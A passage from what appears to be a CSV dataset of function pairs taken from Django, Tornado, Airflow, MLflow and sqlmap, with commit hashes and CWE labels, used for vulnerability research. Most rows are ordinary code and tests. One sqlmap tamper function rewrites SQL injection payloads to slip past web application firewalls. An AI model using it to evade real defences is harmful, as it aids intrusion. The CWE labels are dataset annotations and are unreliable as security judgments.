            'legacywith01': ('{% with dict.key as key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),

            'with02': ('{{ key }}{% with key=dict.key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),
            'legacywith02': ('{{ key }}{% with dict.key as key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),

            'with03': ('{% with a=alpha b=beta %}{{ a }}{{ b }}{% endwith %}', {'alpha': 'A', 'beta': 'B'}, 'AB'),

            'with-error01': ('{% with dict.key xx key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),
            'with-error02': ('{% with dict.key as %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),

            ### NOW TAG ########################################################
            # Simple case
            'now01': ('{% now ""j n Y"" %}', {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            # Check parsing of locale strings
            'now02': ('{% now ""DATE_FORMAT"" %}', {},  date_format(datetime.now())),
            # Also accept simple quotes - #15092
            'now03': (""{% now 'j n Y' %}"", {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now04': (""{% now 'DATE_FORMAT' %}"", {},  date_format(datetime.now())),
            'now05': ('''{% now 'j ""n"" Y'%}''', {}, '''%d ""%d"" %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now06': ('''{% now ""j 'n' Y""%}''', {}, '''%d '%d' %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),

            ### URL TAG ########################################################
            # Successes
            'url01': ('{% url ""template_tests.views.client"" client.id %}', {'client': {'id': 1}}, '/url_tag/client/1/'),
            'url02': ('{% url ""template_tests.views.client_action"" id=client.id action=""update"" %}', {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02a': ('{% url ""template_tests.views.client_action"" client.id ""update"" %}', {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02b': (""{% url 'template_tests.views.client_action' id=client.id action='update' %}"", {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02c': (""{% url 'template_tests.views.client_action' client.id 'update' %}"", {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url03': ('{% url ""template_tests.views.index"" %}', {}, '/url_tag/'),
            'url04': ('{% url ""named.client"" client.id %}', {'client': {'id': 1}}, '/url_tag/named-client/1/'),
            'url05': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url06': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url07': ('{% url ""template_tests.views.client2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url08': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url09': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url10': ('{% url ""template_tests.views.client_action"" id=client.id action=""two words"" %}', {'client': {'id': 1}}, '/url_tag/client/1/two%20words/'),
            'url11': ('{% url ""template_tests.views.client_action"" id=client.id action=""=="" %}', {'client': {'id': 1}}, '/url_tag/client/1/%3D%3D/'),
            'url12': ('{% url ""template_tests.views.client_action"" id=client.id action="","" %}', {'client': {'id': 1}}, '/url_tag/client/1/%2C/'),
            'url13': ('{% url ""template_tests.views.client_action"" id=client.id action=arg|join:""-"" %}', {'client': {'id': 1}, 'arg':['a','b']}, '/url_tag/client/1/a-b/'),
            'url14': ('{% url ""template_tests.views.client_action"" client.id arg|join:""-"" %}', {'client': {'id': 1}, 'arg':['a','b']}, '/url_tag/client/1/a-b/'),
            'url15': ('{% url ""template_tests.views.client_action"" 12 ""test"" %}', {}, '/url_tag/client/12/test/'),
            'url18': ('{% url ""template_tests.views.client"" ""1,2"" %}', {}, '/url_tag/client/1%2C2/'),

            'url19': ('{% url named_url client.id %}', {'named_url': 'template_tests.views.client', 'client': {'id': 1}}, '/url_tag/client/1/'),
            'url20': ('{% url url_name_in_var client.id %}', {'url_name_in_var': 'named.client', 'client': {'id': 1}}, '/url_tag/named-client/1/'),

            # Failures
            'url-fail01': ('{% url %}', {}, template.TemplateSyntaxError),
            'url-fail02': ('{% url ""no_such_view"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail03': ('{% url ""template_tests.views.client"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail04': ('{% url ""view"" id, %}', {}, template.TemplateSyntaxError),
            'url-fail05': ('{% url ""view"" id= %}', {}, template.TemplateSyntaxError),
            'url-fail06': ('{% url ""view"" a.id=id %}', {}, template.TemplateSyntaxError),
            'url-fail07': ('{% url ""view"" a.id!id %}', {}, template.TemplateSyntaxError),
            'url-fail08': ('{% url ""view"" id=""unterminatedstring %}', {}, template.TemplateSyntaxError),
            'url-fail09': ('{% url ""view"" id="", %}', {}, template.TemplateSyntaxError),

            'url-fail11': ('{% url named_url %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail12': ('{% url named_url %}', {'named_url': 'no_such_view'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail13': ('{% url named_url %}', {'named_url': 'template_tests.views.client'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail14': ('{% url named_url id, %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail15': ('{% url named_url id= %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail16': ('{% url named_url a.id=id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail17': ('{% url named_url a.id!id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail18': ('{% url named_url id=""unterminatedstring %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail19': ('{% url named_url id="", %}', {'named_url': 'view'}, template.TemplateSyntaxError),

            # {% url ... as var %}
            'url-asvar01': ('{% url ""template_tests.views.index"" as url %}', {}, ''),
            'url-asvar02': ('{% url ""template_tests.views.index"" as url %}{{ url }}', {}, '/url_tag/'),
            'url-asvar03': ('{% url ""no_such_view"" as url %}{{ url }}', {}, ''),

            ### CACHE TAG ######################################################
            'cache03': ('{% load cache %}{% cache 2 test %}cache03{% endcache %}', {}, 'cache03'),
            'cache04': ('{% load cache %}{% cache 2 test %}cache04{% endcache %}', {}, 'cache03'),
            'cache05': ('{% load cache %}{% cache 2 test foo %}cache05{% endcache %}', {'foo': 1}, 'cache05'),
            'cache06': ('{% load cache %}{% cache 2 test foo %}cache06{% endcache %}', {'foo': 2}, 'cache06'),
            'cache07': ('{% load cache %}{% cache 2 test foo %}cache07{% endcache %}', {'foo': 1}, 'cache05'),

            # Allow first argument to be a variable.
            'cache08': ('{% load cache %}{% cache time test foo %}cache08{% endcache %}', {'foo': 2, 'time': 2}, 'cache06'),

            # Raise exception if we don't have at least 2 args, first one integer.
            'cache11': ('{% load cache %}{% cache %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache12': ('{% load cache %}{% cache 1 %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache13': ('{% load cache %}{% cache foo bar %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache14': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': 'fail'}, template.TemplateSyntaxError),
            'cache15': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': []}, template.TemplateSyntaxError),

            # Regression test for #7460.
            'cache16': ('{% load cache %}{% cache 1 foo bar %}{% endcache %}', {'foo': 'foo', 'bar': 'with spaces'}, ''),

            # Regression test for #11270.
            'cache17': ('{% load cache %}{% cache 10 long_cache_key poem %}Some Content{% endcache %}', {'poem': 'Oh freddled gruntbuggly/Thy micturations are to me/As plurdled gabbleblotchits/On a lurgid bee/That mordiously hath bitled out/Its earted jurtles/Into a rancid festering/Or else I shall rend thee in the gobberwarts with my blurglecruncheon/See if I dont.'}, 'Some Content'),

            # Test whitespace in filter arguments
            'cache18': ('{% load cache custom %}{% cache 2|noop:""x y"" cache18 %}cache18{% endcache %}', {}, 'cache18'),


            ### AUTOESCAPE TAG ##############################################
            'autoescape-tag01': (""{% autoescape off %}hello{% endautoescape %}"", {}, ""hello""),
            'autoescape-tag02': (""{% autoescape off %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""<b>hello</b>""),
            'autoescape-tag03': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""&lt;b&gt;hello&lt;/b&gt;""),

            # Autoescape disabling and enabling nest in a predictable way.
            'autoescape-tag04': (""{% autoescape off %}{{ first }} {% autoescape  on%}{{ first }}{% endautoescape %}{% endautoescape %}"", {""first"": ""<a>""}, ""<a> &lt;a&gt;""),

            'autoescape-tag05': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>first</b>""}, ""&lt;b&gt;first&lt;/b&gt;""),

            # Strings (ASCII or unicode) already marked as ""safe"" are not
            # auto-escaped
            'autoescape-tag06': (""{{ first }}"", {""first"": mark_safe(""<b>first</b>"")}, ""<b>first</b>""),
            'autoescape-tag07': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": mark_safe(""<b>Apple</b>"")}, ""<b>Apple</b>""),

            # Literal string arguments to filters, if used in the result, are
            # safe.
            'autoescape-tag08': (r'{% autoescape on %}{{ var|default_if_none:"" endquote\"" hah"" }}{% endautoescape %}', {""var"": None}, ' endquote"" hah'),

            # Objects which return safe strings as their __unicode__ method
            # won't get double-escaped.
            'autoescape-tag09': (r'{{ unsafe }}', {'unsafe': filters.UnsafeClass()}, 'you &amp; me'),
            'autoescape-tag10': (r'{{ safe }}', {'safe': filters.SafeClass()}, 'you &gt; me'),

            # The ""safe"" and ""escape"" filters cannot work due to internal
            # implementation details (fortunately, the (no)autoescape block
            # tags can be used in those cases)
            'autoescape-filtertag01': (""{{ first }}{% filter safe %}{{ first }} x<y{% endfilter %}"", {""first"": ""<a>""}, template.TemplateSyntaxError),

            # ifqeual compares unescaped vales.
            'autoescape-ifequal01': ('{% ifequal var ""this & that"" %}yes{% endifequal %}', { ""var"": ""this & that"" }, ""yes""),

            # Arguments to filters are 'safe' and manipulate their input unescaped.
            'autoescape-filters01': ('{{ var|cut:""&"" }}', { ""var"": ""this & that"" }, ""this  that"" ),
            'autoescape-filters02': ('{{ var|join:"" & \"" }}', { ""var"": (""Tom"", ""Dick"", ""Harry"") }, ""Tom & Dick & Harry""),

            # Literal strings are safe.
            'autoescape-literals01': ('{{ ""this & that"" }}',{}, ""this & that""),

            # Iterating over strings outputs safe characters.
            'autoescape-stringiterations01': ('{% for l in var %}{{ l }},{% endfor %}', {'var': 'K&R'}, ""K,&amp;,R,""),

            # Escape requirement survives lookup.
            'autoescape-lookup01': ('{{ var.key }}', { ""var"": {""key"": ""this & that"" }}, ""this &amp; that""),

            # Static template tags
            'static-prefixtag01': ('{% load static %}{% get_static_prefix %}', {}, settings.STATIC_URL),
            'static-prefixtag02': ('{% load static %}{% get_static_prefix as static_prefix %}{{ static_prefix }}', {}, settings.STATIC_URL),
            'static-prefixtag03': ('{% load static %}{% get_media_prefix %}', {}, settings.MEDIA_URL),
            'static-prefixtag04': ('{% load static %}{% get_media_prefix as media_prefix %}{{ media_prefix }}', {}, settings.MEDIA_URL),
            'static-statictag01': ('{% load static %}{% static ""admin/base.css"" %}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag02': ('{% load static %}{% static base_css %}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag03': ('{% load static %}{% static ""admin/base.css"" as foo %}{{ foo }}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag04': ('{% load static %}{% static base_css as foo %}{{ foo }}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),

            # Verbatim template tag outputs contents without rendering.
            'verbatim-tag01': ('{% verbatim %}{{bare   }}{% endverbatim %}', {}, '{{bare   }}'),
            'verbatim-tag02': ('{% verbatim %}{% endif %}{% endverbatim %}', {}, '{% endif %}'),
            'verbatim-tag03': (""{% verbatim %}It's the {% verbatim %} tag{% endverbatim %}"", {}, ""It's the {% verbatim %} tag""),
            'verbatim-tag04': ('{% verbatim %}{% verbatim %}{% endverbatim %}{% endverbatim %}', {}, template.TemplateSyntaxError),
            'verbatim-tag05': ('{% verbatim %}{% endverbatim %}{% verbatim %}{% endverbatim %}', {}, ''),
            'verbatim-tag06': (""{% verbatim special %}Don't {% endverbatim %} just yet{% endverbatim special %}"", {}, ""Don't {% endverbatim %} just yet""),
        }

        if numpy:
            tests.update({
                # Numpy's array-index syntax allows a template to access a certain item of a subscriptable object.
                'numpy-array-index01': (""{{ var.1 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ""second item""),

                # Fail silently when the array index is out of range.
                'numpy-array-index02': (""{{ var.5 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ("""", ""INVALID"")),
            })


        return tests"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/routing.py,0,"def __init__(self, pattern, handler, kwargs=None, name=None):
        """"""Parameters:

        * ``pattern``: Regular expression to be matched. Any capturing
          groups in the regex will be passed in to the handler's
          get/post/etc methods as arguments (by keyword if named, by
          position if unnamed. Named and unnamed capturing groups
          may not be mixed in the same rule).

        * ``handler``: `~.web.RequestHandler` subclass to be invoked.

        * ``kwargs`` (optional): A dictionary of additional arguments
          to be passed to the handler's constructor.

        * ``name`` (optional): A name for this handler.  Used by
          `~.web.Application.reverse_url`.

        """"""
        super(URLSpec, self).__init__(PathMatches(pattern), handler, kwargs, name)

        self.regex = self.matcher.regex
        self.handler_class = self.target
        self.kwargs = kwargs",CWE-Unknown,tornadoweb/tornado,139f92920d0adfeb51caa7c650f3a020e4ad5c27,"def __init__(self, pattern, handler, kwargs=None, name=None):
        """"""Parameters:

        * ``pattern``: Regular expression to be matched. Any capturing
          groups in the regex will be passed in to the handler's
          get/post/etc methods as arguments (by keyword if named, by
          position if unnamed. Named and unnamed capturing groups may
          may not be mixed in the same rule).

        * ``handler``: `~.web.RequestHandler` subclass to be invoked.

        * ``kwargs`` (optional): A dictionary of additional arguments
          to be passed to the handler's constructor.

        * ``name`` (optional): A name for this handler.  Used by
          `~.web.Application.reverse_url`.

        """"""
        super(URLSpec, self).__init__(PathMatches(pattern), handler, kwargs, name)

        self.regex = self.matcher.regex
        self.handler_class = self.target
        self.kwargs = kwargs"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,tamper/ifnull2ifisnull.py,0,"def tamper(payload, **kwargs):
    """"""
    Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'

    Requirement:
        * MySQL
        * SQLite (possibly)
        * SAP MaxDB (possibly)

    Tested against:
        * MySQL 5.0 and 5.5

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that filter the IFNULL() function

    >>> tamper('IFNULL(1, 2)')
    'IF(ISNULL(1),2,1)'
    """"""

    if payload and payload.find(""IFNULL"") > -1:
        while payload.find(""IFNULL("") > -1:
            index = payload.find(""IFNULL("")
            depth = 1
            comma, end = None, None

            for i in xrange(index + len(""IFNULL(""), len(payload)):
                if depth == 1 and payload[i] == ',':
                    comma = i

                elif depth == 1 and payload[i] == ')':
                    end = i
                    break

                elif payload[i] == '(':
                    depth += 1

                elif payload[i] == ')':
                    depth -= 1

            if comma and end:
                _ = payload[index + len(""IFNULL(""):comma]
                __ = payload[comma + 1:end].lstrip()
                newVal = ""IF(ISNULL(%s),%s,%s)"" % (_, __, _)
                payload = payload[:index] + newVal + payload[end + 1:]
            else:
                break

    return payload",,sqlmapproject/sqlmap,4cb378ce3e34003219668785cb8a20cc10874e88,"def tamper(payload, **kwargs):
    """"""
    Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'

    Example:
        * Input: IFNULL(1, 2)
        * Output: IF(ISNULL(1), 2, 1)

    Requirement:
        * MySQL
        * SQLite (possibly)
        * SAP MaxDB (possibly)

    Tested against:
        * MySQL 5.0 and 5.5

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that filter the IFNULL() function
    """"""

    if payload and payload.find(""IFNULL"") > -1:
        while payload.find(""IFNULL("") > -1:
            index = payload.find(""IFNULL("")
            depth = 1
            comma, end = None, None

            for i in xrange(index + len(""IFNULL(""), len(payload)):
                if depth == 1 and payload[i] == ',':
                    comma = i

                elif depth == 1 and payload[i] == ')':
                    end = i
                    break

                elif payload[i] == '(':
                    depth += 1

                elif payload[i] == ')':
                    depth -= 1

            if comma and end:
                _ = payload[index + len(""IFNULL(""):comma]
                __ = payload[comma + 1:end]
                newVal = ""IF(ISNULL(%s),%s,%s)"" % (_, __, _)
                payload = payload[:index] + newVal + payload[end + 1:]
            else:
                break

    return payload"
,UNKNOWN,UNKNOWN,providers/snowflake/tests/unit/snowflake/hooks/test_snowflake_sql_api.py,1,"def test_execute_query(
        self,
        mock_get_header,
        mock_conn_param,
        mock_requests,
        sql,
        statement_count,
        expected_response,
        expected_query_ids,
    ):
        """"""Test execute_query method, run query by mocking post request method and return the query ids""""""
        mock_requests.codes.ok = 200
        mock_requests.post.side_effect = [
            create_successful_response_mock(expected_response),
        ]
        status_code_mock = mock.PropertyMock(return_value=200)
        type(mock_requests.post.return_value).status_code = status_code_mock

        hook = SnowflakeSqlApiHook(""mock_conn_id"")
        query_ids = hook.execute_query(sql, statement_count)
        assert query_ids == expected_query_ids",CWE-703,apache/airflow,f6ec3a0a8ac4cb9346da22e8c5ee24c9a610bea5,"def test_execute_query(
        self,
        mock_get_header,
        mock_conn_param,
        mock_requests,
        sql,
        statement_count,
        expected_response,
        expected_query_ids,
    ):
        """"""Test execute_query method, run query by mocking post request method and return the query ids""""""
        mock_requests.codes.ok = 200
        mock_requests.post.side_effect = [
            create_successful_response_mock(expected_response),
        ]
        status_code_mock = mock.PropertyMock(return_value=200)
        type(mock_requests.post.return_value).status_code = status_code_mock

        hook = SnowflakeSqlApiHook(""mock_conn_id"")
        query_ids = hook.execute_query(sql, statement_count)
        assert query_ids == expected_query_ids"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/transformers/__init__.py,0,"def _load_model(path: str, flavor_config, return_type: str, device=None, **kwargs):
    """"""
    Loads components from a locally serialized ``Pipeline`` object.
    """"""
    import transformers

    conf = {
        ""task"": flavor_config[FlavorKey.TASK],
    }
    if framework := flavor_config.get(FlavorKey.FRAMEWORK):
        conf[""framework""] = framework

    # Note that we don't set the device in the conf yet because device is
    # incompatible with device_map.
    accelerate_model_conf = {}
    if MLFLOW_HUGGINGFACE_USE_DEVICE_MAP.get():
        device_map_strategy = MLFLOW_HUGGINGFACE_DEVICE_MAP_STRATEGY.get()
        conf[""device_map""] = device_map_strategy
        accelerate_model_conf[""device_map""] = device_map_strategy
        # Cannot use device with device_map
        if device is not None:
            raise MlflowException.invalid_parameter_value(
                ""The environment variable MLFLOW_HUGGINGFACE_USE_DEVICE_MAP is set to True, but ""
                f""the `device` argument is provided with value {device}. The device_map and ""
                ""`device` argument cannot be used together. Set MLFLOW_HUGGINGFACE_USE_DEVICE_MAP ""
                ""to False to specify a particular device ID, or pass None for the `device` ""
                ""argument to use device_map.""
            )
        device = None
    elif device is None:
        if MLFLOW_DEFAULT_PREDICTION_DEVICE.get():
            try:
                device = int(MLFLOW_DEFAULT_PREDICTION_DEVICE.get())
            except ValueError:
                device = _TRANSFORMERS_DEFAULT_CPU_DEVICE_ID
        elif is_gpu_available():
            device = _TRANSFORMERS_DEFAULT_GPU_DEVICE_ID

    if device is not None:
        conf[""device""] = device
        accelerate_model_conf[""device""] = device

    if dtype_val := kwargs.get(_TORCH_DTYPE_KEY) or flavor_config.get(FlavorKey.TORCH_DTYPE):
        if isinstance(dtype_val, str):
            dtype_val = _deserialize_torch_dtype(dtype_val)
        conf[_TORCH_DTYPE_KEY] = dtype_val
        flavor_config[_TORCH_DTYPE_KEY] = dtype_val
        accelerate_model_conf[_TORCH_DTYPE_KEY] = dtype_val

    accelerate_model_conf[""low_cpu_mem_usage""] = MLFLOW_HUGGINGFACE_USE_LOW_CPU_MEM_USAGE.get()

    # Load model and components either from local or from HuggingFace Hub. We check for the
    # presence of the model revision (a commit hash of the hub repository) that is only present
    # in the model logged with `save_pretrained=False
    if FlavorKey.MODEL_REVISION not in flavor_config:
        model_and_components = load_model_and_components_from_local(
            path=pathlib.Path(path),
            flavor_conf=flavor_config,
            accelerate_conf=accelerate_model_conf,
            device=device,
        )
    else:
        model_and_components = load_model_and_components_from_huggingface_hub(
            flavor_conf=flavor_config, accelerate_conf=accelerate_model_conf, device=device
        )

    # Load and apply PEFT adaptor if saved
    if peft_adapter_dir := flavor_config.get(FlavorKey.PEFT, None):
        model_and_components[FlavorKey.MODEL] = get_model_with_peft_adapter(
            base_model=model_and_components[FlavorKey.MODEL],
            peft_adapter_path=os.path.join(path, peft_adapter_dir),
        )

    conf = {**conf, **model_and_components}

    if return_type == ""pipeline"":
        conf.update(**kwargs)
        with suppress_logs(""transformers.pipelines.base"", filter_regex=_PEFT_PIPELINE_ERROR_MSG):
            return transformers.pipeline(**conf)
    elif return_type == ""components"":
        return conf",,mlflow/mlflow,653f2e6ff63382d683bc5ac0397b08ad2cd48277,"def _load_model(path: str, flavor_config, return_type: str, device=None, **kwargs):
    """"""
    Loads components from a locally serialized ``Pipeline`` object.
    """"""
    import transformers

    conf = {
        ""task"": flavor_config[FlavorKey.TASK],
    }
    if framework := flavor_config.get(FlavorKey.FRAMEWORK):
        conf[""framework""] = framework

    if device is None:
        if MLFLOW_DEFAULT_PREDICTION_DEVICE.get():
            try:
                device = int(MLFLOW_DEFAULT_PREDICTION_DEVICE.get())
            except ValueError:
                device = _TRANSFORMERS_DEFAULT_CPU_DEVICE_ID
        elif is_gpu_available():
            device = _TRANSFORMERS_DEFAULT_GPU_DEVICE_ID
    # Note that we don't set the device in the conf yet because device is
    # incompatible with device_map.
    accelerate_model_conf = {}
    if MLFLOW_HUGGINGFACE_USE_DEVICE_MAP.get():
        device_map_strategy = MLFLOW_HUGGINGFACE_DEVICE_MAP_STRATEGY.get()
        conf[""device_map""] = device_map_strategy
        accelerate_model_conf[""device_map""] = device_map_strategy
        # Cannot use device with device_map
        device = None

    if device is not None:
        conf[""device""] = device
        accelerate_model_conf[""device""] = device

    if dtype_val := kwargs.get(_TORCH_DTYPE_KEY) or flavor_config.get(FlavorKey.TORCH_DTYPE):
        if isinstance(dtype_val, str):
            dtype_val = _deserialize_torch_dtype(dtype_val)
        conf[_TORCH_DTYPE_KEY] = dtype_val
        flavor_config[_TORCH_DTYPE_KEY] = dtype_val
        accelerate_model_conf[_TORCH_DTYPE_KEY] = dtype_val

    accelerate_model_conf[""low_cpu_mem_usage""] = MLFLOW_HUGGINGFACE_USE_LOW_CPU_MEM_USAGE.get()

    # Load model and components either from local or from HuggingFace Hub. We check for the
    # presence of the model revision (a commit hash of the hub repository) that is only present
    # in the model logged with `save_pretrained=False
    if FlavorKey.MODEL_REVISION not in flavor_config:
        model_and_components = load_model_and_components_from_local(
            path=pathlib.Path(path),
            flavor_conf=flavor_config,
            accelerate_conf=accelerate_model_conf,
            device=device,
        )
    else:
        model_and_components = load_model_and_components_from_huggingface_hub(
            flavor_conf=flavor_config, accelerate_conf=accelerate_model_conf, device=device
        )

    # Load and apply PEFT adaptor if saved
    if peft_adapter_dir := flavor_config.get(FlavorKey.PEFT, None):
        model_and_components[FlavorKey.MODEL] = get_model_with_peft_adapter(
            base_model=model_and_components[FlavorKey.MODEL],
            peft_adapter_path=os.path.join(path, peft_adapter_dir),
        )

    conf = {**conf, **model_and_components}

    if return_type == ""pipeline"":
        conf.update(**kwargs)
        with suppress_logs(""transformers.pipelines.base"", filter_regex=_PEFT_PIPELINE_ERROR_MSG):
            return transformers.pipeline(**conf)
    elif return_type == ""components"":
        return conf"
,UNKNOWN,UNKNOWN,airflow/hooks/base_hook.py,1,"def get_connection(cls, conn_id):
        environment_uri = os.environ.get(CONN_ENV_PREFIX + conn_id.upper())
        conn = None
        if environment_uri:
            conn = Connection(conn_id=conn_id, uri=environment_uri)
        else:
            conn = random.choice(cls.get_connections(conn_id))
        if conn.host:
            logging.info(""Using connection to: "" + conn.host)
        return conn",CWE-330,apache/airflow,eef23e6132aff463961e615c8b54f38831786ca7,"def get_connection(cls, conn_id):
        environment_uri = os.environ.get(CONN_ENV_PREFIX + conn_id.upper())
        conn = None
        if environment_uri:
            conn = Connection(uri=environment_uri)
        else:
            conn = random.choice(cls.get_connections(conn_id))
        if conn.host:
            logging.info(""Using connection to: "" + conn.host)
        return conn"
,UNKNOWN,UNKNOWN,tests/models/test_taskinstance.py,1,"def test_set_state_up_for_retry(self):
        dag = DAG('dag', start_date=DEFAULT_DATE)
        op1 = DummyOperator(task_id='op_1', owner='test', dag=dag)

        ti = TI(task=op1, execution_date=timezone.utcnow(), state=State.RUNNING)
        start_date = timezone.utcnow()
        ti.start_date = start_date

        ti.set_state(State.UP_FOR_RETRY)
        assert ti.state == State.UP_FOR_RETRY
        assert ti.start_date == start_date, ""Start date should have been left alone""
        assert ti.start_date < ti.end_date
        assert ti.duration > 0",CWE-703,apache/airflow,08f4f81cc9932dd64f95222f5beac85b3c85ca27,"def test_set_state_up_for_retry(self):
        dag = DAG('dag', start_date=DEFAULT_DATE)
        op1 = DummyOperator(task_id='op_1', owner='test', dag=dag)

        ti = TI(task=op1, execution_date=timezone.utcnow(), state=State.RUNNING)
        start_date = timezone.utcnow()
        ti.start_date = start_date

        ti.set_state(State.UP_FOR_RETRY)
        assert ti.state == State.UP_FOR_RETRY
        assert ti.start_date == start_date, ""Start date should have been left alone""
        assert ti.start_date < ti.end_date
        assert ti.duration > 0"
,UNKNOWN,UNKNOWN,tests/www/views/test_views_home.py,1,"def test_home(capture_templates, admin_client):
    with capture_templates() as templates:
        resp = admin_client.get('home', follow_redirects=True)
        check_content_in_response('DAGs', resp)
        val_state_color_mapping = (
            'const STATE_COLOR = {'
            '""deferred"": ""mediumpurple"", ""failed"": ""red"", '
            '""null"": ""lightblue"", ""queued"": ""gray"", '
            '""removed"": ""lightgrey"", ""restarting"": ""violet"", ""running"": ""lime"", '
            '""scheduled"": ""tan"", ""sensing"": ""mediumpurple"", '
            '""shutdown"": ""blue"", ""skipped"": ""hotpink"", '
            '""success"": ""green"", ""up_for_reschedule"": ""turquoise"", '
            '""up_for_retry"": ""gold"", ""upstream_failed"": ""orange""};'
        )
        check_content_in_response(val_state_color_mapping, resp)

    assert len(templates) == 1
    assert templates[0].name == 'airflow/dags.html'
    state_color_mapping = State.state_color.copy()
    state_color_mapping[""null""] = state_color_mapping.pop(None)
    assert templates[0].local_context['state_color'] == state_color_mapping",CWE-703,apache/airflow,b87becae6a3048276716a090958901e6e20e6b0a,"def test_home(capture_templates, admin_client):
    with capture_templates() as templates:
        resp = admin_client.get('home', follow_redirects=True)
        check_content_in_response('DAGs', resp)
        val_state_color_mapping = (
            'const STATE_COLOR = {'
            '""deferred"": ""mediumpurple"", ""failed"": ""red"", '
            '""null"": ""lightblue"", ""queued"": ""gray"", '
            '""removed"": ""lightgrey"", ""restarting"": ""violet"", ""running"": ""lime"", '
            '""scheduled"": ""tan"", ""sensing"": ""mediumpurple"", '
            '""shutdown"": ""blue"", ""skipped"": ""pink"", '
            '""success"": ""green"", ""up_for_reschedule"": ""turquoise"", '
            '""up_for_retry"": ""gold"", ""upstream_failed"": ""orange""};'
        )
        check_content_in_response(val_state_color_mapping, resp)

    assert len(templates) == 1
    assert templates[0].name == 'airflow/dags.html'
    state_color_mapping = State.state_color.copy()
    state_color_mapping[""null""] = state_color_mapping.pop(None)
    assert templates[0].local_context['state_color'] == state_color_mapping"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/tracking/sqlalchemy_store.py,0,"def set_logged_model_tags(self, model_id: str, tags: list[LoggedModelTag]) -> None:
        with self.ManagedSessionMaker() as session:
            logged_model = session.query(SqlLoggedModel).get(model_id)
            if not logged_model:
                self._raise_model_not_found(model_id)

            # TODO: Consider upserting tags in a single transaction for performance
            for tag in tags:
                session.merge(
                    SqlLoggedModelTag(
                        model_id=model_id,
                        experiment_id=logged_model.experiment_id,
                        tag_key=tag.key,
                        tag_value=tag.value,
                    )
                )",,mlflow/mlflow,6f6a247851b8c9985a2da8633e945c243dbca727,"def set_logged_model_tags(self, model_id: str, tags: list[LoggedModelTag]) -> None:
        with self.ManagedSessionMaker() as session:
            logged_model = session.query(SqlLoggedModel).get(model_id)
            if not logged_model:
                self._raise_model_not_found(model_id)

            session.merge(
                *(
                    SqlLoggedModelTag(
                        model_id=model_id,
                        experiment_id=logged_model.experiment_id,
                        tag_key=tag.key,
                        tag_value=tag.value,
                    )
                    for tag in tags
                )
            )"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/core/management/commands/makemessages.py,0,"def make_messages(locale=None, domain='django', verbosity=1, all=False,
